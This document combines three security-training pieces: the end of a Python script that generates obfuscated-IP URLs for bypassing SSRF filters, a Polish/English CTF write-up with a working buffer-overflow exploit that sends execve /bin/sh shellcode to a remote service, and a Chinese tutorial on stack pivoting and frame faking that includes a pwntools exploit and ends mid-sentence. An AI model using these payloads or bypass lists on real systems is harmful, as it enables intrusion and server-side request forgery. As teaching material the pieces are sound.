print('http://',IP10,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',IP10,':',PORT,'/',file=f,sep='') print('http://',IP10,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP10,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP10,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP10,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP10,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP10,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP10,':','@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP10,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP10,':','+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP10,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP10,':',PORT,'/',file=f,sep='') print('http://',IP10,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP10,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP10,':',PORT,'/',file=f,sep='') print('http://',IP10,':',PORT,':80','/',file=f,sep='') print('http://',IP10,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP10,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP10,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') #Case 11 - Dotted octal with padding + Dotless decimal print(bluecolor,"Dotted octal with padding + Dotless decimal IP Address of:",resetcolor,yellowcolor," http://",arg1,resetcolor,bluecolor," + authentication prefix/bypass combo list",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') IP11 = '0' + OCT_SINGLE(ipFrag3) + "." + str(DECIMAL_SINGLE(ipFrag2,2) + DECIMAL_SINGLE(ipFrag1,1) + DECIMAL_SINGLE(ipFrag0,0)) print('http://',IP11,':',PORT,'/',sep='') print('http://',IP11,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP11,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP11,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP11,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP11,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP11,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP11,':','@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP11,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP11,':','+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP11,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP11,':',PORT,'/',sep='') print('http://',IP11,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP11,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP11,':',PORT,'/',sep='') print('http://',IP11,':',PORT,':80','/',sep='') print('http://',IP11,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP11,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP11,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',IP11,':',PORT,'/',file=f,sep='') print('http://',IP11,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP11,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP11,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP11,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP11,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP11,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP11,':','@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP11,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP11,':','+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP11,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP11,':',PORT,'/',file=f,sep='') print('http://',IP11,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP11,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP11,':',PORT,'/',file=f,sep='') print('http://',IP11,':',PORT,':80','/',file=f,sep='') print('http://',IP11,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP11,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP11,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') #Case 12 - Dotted octal with padding + Dotted hexadecimal + Dotless decimal print(bluecolor,"Dotted octal with padding + Dotted hexadecimal + Dotless decimal IP Address of:",resetcolor,yellowcolor," http://",arg1,resetcolor,bluecolor," + authentication prefix/bypass combo list",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') IP12 = '0' + OCT_SINGLE(ipFrag3) + "." + HEX_SINGLE(ipFrag2,"yes") + "." + str(DECIMAL_SINGLE(ipFrag1,1) + DECIMAL_SINGLE(ipFrag0,0)) print('http://',IP12,':',PORT,'/',sep='') print('http://',IP12,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP12,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP12,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP12,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP12,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP12,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP12,':','@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP12,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP12,':','+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP12,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP12,':',PORT,'/',sep='') print('http://',IP12,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP12,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP12,':',PORT,'/',sep='') print('http://',IP12,':',PORT,':80','/',sep='') print('http://',IP12,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP12,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP12,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',IP12,':',PORT,'/',file=f,sep='') print('http://',IP12,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP12,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP12,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP12,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP12,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP12,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP12,':','@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP12,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP12,':','+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP12,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP12,':',PORT,'/',file=f,sep='') print('http://',IP12,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP12,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP12,':',PORT,'/',file=f,sep='') print('http://',IP12,':',PORT,':80','/',file=f,sep='') print('http://',IP12,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP12,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP12,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') #Case 13 - Abusing IDNA Standard print(bluecolor,"Abusing IDNA Standard: ",resetcolor,yellowcolor,"http://ß.localdomain.pw/", resetcolor,' -> ',yellowcolor,'http://cc.localdomain.pw/',resetcolor,' => ',bluecolor,'DNS',resetcolor,' => ',yellowcolor,'127.127.127.127',resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print('http://ß.localdomain.pw/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://ß.localdomain.pw/',file=f,sep='') #Case 14 - Abusing 。and 。 IPAddressParts = arg1.split(".") print(bluecolor,"Abusing 。and 。: ",resetcolor,yellowcolor,"http://",IPAddressParts[0],"。",IPAddressParts[1],"。",IPAddressParts[2],"。",IPAddressParts[3],"/",resetcolor," and " ,yellowcolor,"http://",IPAddressParts[0],"。",IPAddressParts[1],"。",IPAddressParts[2],"。",IPAddressParts[3],"/", resetcolor,' -> ',yellowcolor,"http://",IPAddressParts[0],".",IPAddressParts[1],".",IPAddressParts[2],".",IPAddressParts[3],"/",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print('http://',IPAddressParts[0],'。',IPAddressParts[1],'。',IPAddressParts[2],'。',IPAddressParts[3],'/',sep='') print('http://',IPAddressParts[0],'。',IPAddressParts[1],'。',IPAddressParts[2],'。',IPAddressParts[3],'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',IPAddressParts[0],'。',IPAddressParts[1],'。',IPAddressParts[2],'。',IPAddressParts[3],'/',file=f,sep='') print('http://',IPAddressParts[0],'。',IPAddressParts[1],'。',IPAddressParts[2],'。',IPAddressParts[3],'/',file=f,sep='') #Case 15 Abusing Enclosed Alphanumerics print(bluecolor,"Abusing Enclosed Alphanumerics:",resetcolor," ",yellowcolor,'http://',convertIP2EnclosedAlphanumericsValue(), resetcolor,' -> ',yellowcolor,"http://",arg1,resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print('http://',convertIP2EnclosedAlphanumericsValue(),'/',sep='') print('http://',convert_ip(IP1),':',PORT,'/',sep='') print('http://',convert_ip(IP2),':',PORT,'/',sep='') print('http://',convert_ip(IP3),':',PORT,'/',sep='') print('http://',convert_ip(IP4),':',PORT,'/',sep='') print('http://',convert_ip(IP5),':',PORT,'/',sep='') print('http://',convert_ip(IP6),':',PORT,'/',sep='') print('http://',convert_ip(IP7),':',PORT,'/',sep='') print('http://',convert_ip(IP8),':',PORT,'/',sep='') print('http://',convert_ip(IP9),':',PORT,'/',sep='') print('http://',convert_ip(IP10),':',PORT,'/',sep='') print('http://',convert_ip(IP11),':',PORT,'/',sep='') print('http://',convert_ip(IP12),':',PORT,'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',convertIP2EnclosedAlphanumericsValue(),'/',file=f,sep='') print('http://',convert_ip(IP1),':',PORT,'/',file=f,sep='') print('http://',convert_ip(IP2),':',PORT,'/',file=f,sep='') print('http://',convert_ip(IP3),':',PORT,'/',file=f,sep='') print('http://',convert_ip(IP4),':',PORT,'/',file=f,sep='') print('http://',convert_ip(IP5),':',PORT,'/',file=f,sep='') print('http://',convert_ip(IP6),':',PORT,'/',file=f,sep='') print('http://',convert_ip(IP7),':',PORT,'/',file=f,sep='') print('http://',convert_ip(IP8),':',PORT,'/',file=f,sep='') print('http://',convert_ip(IP9),':',PORT,'/',file=f,sep='') print('http://',convert_ip(IP10),':',PORT,'/',file=f,sep='') print('http://',convert_ip(IP11),':',PORT,'/',file=f,sep='') print('http://',convert_ip(IP12),':',PORT,'/',file=f,sep='') if EXPORTRESULTS == 'export': f.close() print("\n",bluecolor,'-----------------------------------------------------------------------------------------------------------------------------------------',resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("Results are exported to: " + FILENAME,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print(bluecolor,'-----------------------------------------------------------------------------------------------------------------------------------------',resetcolor,sep='') print("\n",sep='')
sec-knowleage
## precision (pwn, 100p, 272 solves) ### PL [ENG](#eng-version) > nc 54.173.98.115 1259 > [precision_a8f6f0590c177948fe06c76a1831e650](precision) Pobieramy udostępnioną binarkę i na początek sprawdzamy jakie utrudnienia przygotowali nam autorzy. ``` # checksec.sh --file precision RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH precision ``` Widać, że nieduże ;). Krótka analiza w IDA pokazuje nam, że program: 1. Realizuje własną wariację stack guard (dla małego utrudnienia jako liczbę zmiennoprzecinkową). 2. Wypisuje adres bufora oraz za pomocą `scanf` pobiera do niego od nas dane (za pomocą specyfikatora `%s` nieograniczającego wielkość). 3. Sprawdza wartość cookie/canary, wypisuje nasz bufor i wychodzi za pomocą zwykłego `ret`. Mamy więc do czynienia z prostym buffer overflow z umieszczeniem shellcode'u na stosie (brak NX oraz podany adres bufora). ```python import socket s = socket.socket() s.connect(('54.173.98.115', 1259)) buf_addr = s.recv(17)[8:16] s.send('31c0b03001c430c050682f2f7368682f62696e89e389c1b0b0c0e804cd80c0e803cd80'.decode('hex').ljust(128, 'a')) # shellcode: execve /bin/sh s.send('a5315a4755155040'.decode('hex')) # stack guard s.send('aaaaaaaaaaaa') # padding s.send(buf_addr.decode('hex')[::-1]) # ret: buffer address s.send('\n') print (s.recv(9999)) s.send('cat flag\n') print (s.recv(9999)) s.close() ``` Oraz wynik: `flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}` ### ENG version > nc 54.173.98.115 1259 > [precision_a8f6f0590c177948fe06c76a1831e650](precision) We download the binary and start with checking what kind of obstacles were prepared: ``` # checksec.sh --file precision RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH precision ``` As can be seen, not much ;). Short analysis in IDA shows us that the binary: 1. Implements a custom stack guard (to make it a little bit harder, as s floating point number). 2. Prints the buffer address and uses `scanf` to read input data (with `%s` without limiting the size of input) 3. Checks the value of canary, prints the buffer and exits with `ret`. Therefore, we are dealing with a simplem buffer overflow with placing shellcode on the stack (no NX and explicitly printed out buffer address). The exploit: ```python import socket s = socket.socket() s.connect(('54.173.98.115', 1259)) buf_addr = s.recv(17)[8:16] s.send('31c0b03001c430c050682f2f7368682f62696e89e389c1b0b0c0e804cd80c0e803cd80'.decode('hex').ljust(128, 'a')) # shellcode: execve /bin/sh s.send('a5315a4755155040'.decode('hex')) # stack guard s.send('aaaaaaaaaaaa') # padding s.send(buf_addr.decode('hex')[::-1]) # ret: buffer address s.send('\n') print (s.recv(9999)) s.send('cat flag\n') print (s.recv(9999)) s.close() ``` And the result: `flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}`
sec-knowleage
# 花式栈溢出技巧 ## stack pivoting ### 原理 stack pivoting,正如它所描述的,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP。一般来说,我们可能在以下情况需要使用 stack pivoting - 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链 - 开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。 - 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用 此外,利用 stack pivoting 有以下几个要求 - 可以控制程序执行流。 - 可以控制 sp 指针。一般来说,控制栈指针会使用 ROP,常见的控制栈指针的 gadgets 一般是 ```asm pop rsp/esp ``` 当然,还会有一些其它的姿势。比如说 libc_csu_init 中的 gadgets,我们通过偏移就可以得到控制 rsp 指针。上面的是正常的,下面的是偏移的。 ```asm gef➤ x/7i 0x000000000040061a 0x40061a <__libc_csu_init+90>: pop rbx 0x40061b <__libc_csu_init+91>: pop rbp 0x40061c <__libc_csu_init+92>: pop r12 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret gef➤ x/7i 0x000000000040061d 0x40061d <__libc_csu_init+93>: pop rsp 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret ``` 此外,还有更加高级的 fake frame。 - 存在可以控制内容的内存,一般有如下 - bss 段。由于进程按页分配内存,分配给 bss 段的内存大小至少一个页(4k,0x1000)大小。然而一般bss段的内容用不了这么多的空间,并且 bss 段分配的内存页拥有读写权限。 - heap。但是这个需要我们能够泄露堆地址。 ### 示例 #### 例1 这里我们以 [X-CTF Quals 2016 - b0verfl0w](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/stackprivot/X-CTF%20Quals%202016%20-%20b0verfl0w) 为例进行介绍。首先,查看程序的安全保护,如下 ```shell ➜ X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ checksec b0verfl0w Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments ``` 可以看出源程序为 32 位,也没有开启 NX 保护,下面我们来找一下程序的漏洞 ```C signed int vul() { char s; // [sp+18h] [bp-20h]@1 puts("\n======================"); puts("\nWelcome to X-CTF 2016!"); puts("\n======================"); puts("What's your name?"); fflush(stdout); fgets(&s, 50, stdin); printf("Hello %s.", &s); fflush(stdout); return 1; } ``` 可以看出,源程序存在栈溢出漏洞。但是其所能溢出的字节就只有 50-0x20-4=14 个字节,所以我们很难执行一些比较好的 ROP。这里我们就考虑 stack pivoting 。由于程序本身并没有开启堆栈保护,所以我们可以在栈上布置shellcode 并执行。基本利用思路如下 - 利用栈溢出布置 shellcode - 控制 eip 指向 shellcode 处 第一步,还是比较容易地,直接读取即可,但是由于程序本身会开启 ASLR 保护,所以我们很难直接知道 shellcode 的地址。但是栈上相对偏移是固定的,所以我们可以利用栈溢出对 esp 进行操作,使其指向 shellcode 处,并且直接控制程序跳转至 esp处。那下面就是找控制程序跳转到 esp 处的 gadgets 了。 ```shell ➜ X-CTF Quals 2016 - b0verfl0w git:(iromise) ✗ ROPgadget --binary b0verfl0w --only 'jmp|ret' Gadgets information ============================================================ 0x08048504 : jmp esp 0x0804836a : ret 0x0804847e : ret 0xeac1 Unique gadgets found: 3 ``` 这里我们发现有一个可以直接跳转到 esp 的 gadgets。那么我们可以布置 payload 如下 ```text shellcode|padding|fake ebp|0x08048504|set esp point to shellcode and jmp esp ``` 那么我们 payload 中的最后一部分改如何设置 esp 呢,可以知道 - size(shellcode+padding)=0x20 - size(fake ebp)=0x4 - size(0x08048504)=0x4 所以我们最后一段需要执行的指令就是 ```asm sub esp,0x28 jmp esp ``` 所以最后的 exp 如下 ```python from pwn import * sh = process('./b0verfl0w') shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode_x86 += "\x0b\xcd\x80" sub_esp_jmp = asm('sub esp, 0x28;jmp esp') jmp_esp = 0x08048504 payload = shellcode_x86 + ( 0x20 - len(shellcode_x86)) * 'b' + 'bbbb' + p32(jmp_esp) + sub_esp_jmp sh.sendline(payload) sh.interactive() ``` #### 例2-转移堆 待。 ### 题目 - [EkoPartyCTF 2016 fuckzing-exploit-200](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/stackprivot/EkoPartyCTF%202016%20fuckzing-exploit-200) ## frame faking 正如这个技巧名字所说的那样,这个技巧就是构造一个虚假的栈帧来控制程序的执行流。 ### 原理 概括地讲,我们在之前讲的栈溢出不外乎两种方式 - 控制程序 EIP - 控制程序 EBP 其最终都是控制程序的执行流。在 frame faking 中,我们所利用的技巧便是同时控制 EBP 与 EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。一般来说其 payload 如下 ``` buffer padding|fake ebp|leave ret addr| ``` 即我们利用栈溢出将栈上构造为如上格式。这里我们主要讲下后面两个部分 - 函数的返回地址被我们覆盖为执行 leave ret 的地址,这就表明了函数在正常执行完自己的 leave ret 后,还会再次执行一次 leave ret。 - 其中 fake ebp 为我们构造的栈帧的基地址,需要注意的是这里是一个地址。一般来说我们构造的假的栈帧如下 ``` fake ebp | v ebp2|target function addr|leave ret addr|arg1|arg2 ``` 这里我们的 fake ebp 指向 ebp2,即它为 ebp2 所在的地址。通常来说,这里都是我们能够控制的可读的内容。 **下面的汇编语法是 intel 语法。** 在我们介绍基本的控制过程之前,我们还是有必要说一下,函数的入口点与出口点的基本操作 入口点 ``` push ebp # 将ebp压栈 mov ebp, esp #将esp的值赋给ebp ``` 出口点 ``` leave ret #pop eip,弹出栈顶元素作为程序下一个执行地址 ``` 其中 leave 指令相当于 ``` mov esp, ebp # 将ebp的值赋给esp pop ebp # 弹出ebp ``` 下面我们来仔细说一下基本的控制过程。 1. 在有栈溢出的程序执行 leave 时,其分为两个步骤 - mov esp, ebp ,这会将 esp 也指向当前栈溢出漏洞的 ebp 基地址处。 - pop ebp, 这会将栈中存放的 fake ebp 的值赋给 ebp。即执行完指令之后,ebp便指向了ebp2,也就是保存了 ebp2 所在的地址。 2. 执行 ret 指令,会再次执行 leave ret 指令。 3. 执行 leave 指令,其分为两个步骤 - mov esp, ebp ,这会将 esp 指向 ebp2。 - pop ebp,此时,会将 ebp 的内容设置为 ebp2 的值,同时 esp 会指向 target function。 4. 执行 ret 指令,这时候程序就会执行 target function,当其进行程序的时候会执行 - push ebp,会将 ebp2 值压入栈中, - mov ebp, esp,将 ebp 指向当前基地址。 此时的栈结构如下 ``` ebp | v ebp2|leave ret addr|arg1|arg2 ``` 5. 当程序执行时,其会正常申请空间,同时我们在栈上也安排了该函数对应的参数,所以程序会正常执行。 6. 程序结束后,其又会执行两次 leave ret addr,所以如果我们在 ebp2 处布置好了对应的内容,那么我们就可以一直控制程序的执行流程。 可以看出在 fake frame 中,我们有一个需求就是,我们必须得有一块可以写的内存,并且我们还知道这块内存的地址,这一点与 stack pivoting 相似。 ### 2018 安恒杯 over 以 2018 年 6 月安恒杯月赛的 over 一题为例进行介绍, 题目可以在 [ctf-challenge](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/fake_frame/over) 中找到 #### 文件信息 ```bash over.over: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=99beb778a74c68e4ce1477b559391e860dd0e946, stripped [*] '/home/m4x/pwn_repo/others_over/over.over' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE ``` 64 位动态链接的程序, 没有开 PIE 和 canary 保护, 但开了 NX 保护 #### 分析程序 放到 IDA 中进行分析 ```C __int64 __fastcall main(__int64 a1, char **a2, char **a3) { setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); while ( sub_400676() ) ; return 0LL; } int sub_400676() { char buf[80]; // [rsp+0h] [rbp-50h] memset(buf, 0, sizeof(buf)); putchar('>'); read(0, buf, 96uLL); return puts(buf); } ``` 漏洞很明显, read 能读入 96 位, 但 buf 的长度只有 80, 因此能覆盖 rbp 以及 ret addr 但也只能覆盖到 rbp 和 ret addr, 因此也只能通过同时控制 rbp 以及 ret addr 来进行 rop 了 #### leak stack 为了控制 rbp, 我们需要知道某些地址, 可以发现当输入的长度为 80 时, 由于 read 并不会给输入末尾补上 '\0', rbp 的值就会被 puts 打印出来, 这样我们就可以通过固定偏移知道栈上所有位置的地址了 ```C Breakpoint 1, 0x00000000004006b9 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────── RAX 0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000') RBX 0x0 RCX 0x7ff756e9b690 (__read_nocancel+7) ◂— cmp rax, -0xfff RDX 0x60 RDI 0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000') RSI 0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000') R8 0x7ff75715b760 (_IO_stdfile_1_lock) ◂— 0x0 R9 0x7ff757354700 ◂— 0x7ff757354700 R10 0x37b R11 0x246 R12 0x400580 ◂— xor ebp, ebp R13 0x7ffceaf112b0 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7ffceaf111b0 —▸ 0x7ffceaf111d0 —▸ 0x400730 ◂— push r15 RSP 0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000') RIP 0x4006b9 ◂— call 0x400530 ─────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────── ► 0x4006b9 call puts@plt <0x400530> s: 0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000') 0x4006be leave 0x4006bf ret 0x4006c0 push rbp 0x4006c1 mov rbp, rsp 0x4006c4 sub rsp, 0x10 0x4006c8 mov dword ptr [rbp - 4], edi 0x4006cb mov qword ptr [rbp - 0x10], rsi 0x4006cf mov rax, qword ptr [rip + 0x20098a] <0x601060> 0x4006d6 mov ecx, 0 0x4006db mov edx, 2 ─────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────── 00:0000│ rax rdi rsi rsp 0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000') ... ↓ ───────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────── ► f 0 4006b9 f 1 400715 f 2 7ff756de02b1 __libc_start_main+241 Breakpoint *0x4006B9 pwndbg> stack 15 00:0000│ rax rdi rsi rsp 0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000') ... ↓ 0a:0050│ rbp 0x7ffceaf111b0 —▸ 0x7ffceaf111d0 —▸ 0x400730 ◂— push r15 0b:0058│ 0x7ffceaf111b8 —▸ 0x400715 ◂— test eax, eax 0c:0060│ 0x7ffceaf111c0 —▸ 0x7ffceaf112b8 —▸ 0x7ffceaf133db ◂— './over.over' 0d:0068│ 0x7ffceaf111c8 ◂— 0x100000000 0e:0070│ 0x7ffceaf111d0 —▸ 0x400730 ◂— push r15 pwndbg> distance 0x7ffceaf111d0 0x7ffceaf11160 0x7ffceaf111d0->0x7ffceaf11160 is -0x70 bytes (-0xe words) ``` leak 出栈地址后, 